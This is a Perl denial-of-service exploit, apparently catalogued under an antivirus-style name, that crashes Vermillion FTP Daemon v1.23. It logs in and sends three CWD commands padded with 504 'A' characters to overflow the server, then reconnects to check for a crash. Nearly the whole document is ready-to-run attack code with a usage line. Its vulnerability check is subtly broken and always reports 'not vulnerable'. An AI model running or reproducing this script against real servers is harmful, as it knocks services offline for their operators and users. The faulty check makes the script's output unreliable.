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Delete DoS.Perl.Vftp
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# Example for a possible DOS-attack against Vermillion FTP Daemon (VFTPD) v1.23.
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# There need to be 504 characters to overflow Server.
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# Example : Trying example.com...
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# Connected to example.com.
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# Escape character is '^]'.
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# 220 itsme FTP Server (vftpd 1.23) ready.
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# USER itsme
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# PASS ******
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# CWD [504 characters]
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# CWD [504 characters]
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# CWD [504 characters]
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# Overflow
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use IO::Socket;
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print "Possible DOS-attack against Vermillion FTP Daemon (VFTPD) v1.23\n";
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print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
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if (not $ARGV[2]) {
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print "Usage: $0 [host] [user] [pass]\n\n";
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exit(0);
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}
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sub connecthost {
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$host = IO::Socket::INET->new ( Proto => "tcp",
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PeerAddr => $ARGV[0],
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PeerPort => "21",) or die "Can't open connection to $ARGV[0] because $!\n";
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$host->autoflush(1);
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}
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$bufferoverflow .= "A" x 504;
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print "\nOpen connection...\n";
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&connecthost;
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print "Sending characters...\n";
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print $host "user $ARGV[1]\n";
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print $host "pass $ARGV[2]\n";
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print $host "cwd $bufferoverflow\n";
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print $host "cwd $bufferoverflow\n";
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print $host "cwd $bufferoverflow\n";
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print "close connection...\n";
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close $host;
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print "\nTesting...\n";
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&connecthost("\nThe host $ARGV[0] is vulnerable to this attack.\n");
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close $host;
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die "The host $ARGV[0] is not vulnerable to this attack.\n";
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# by arbon(arbon@gmx.de)
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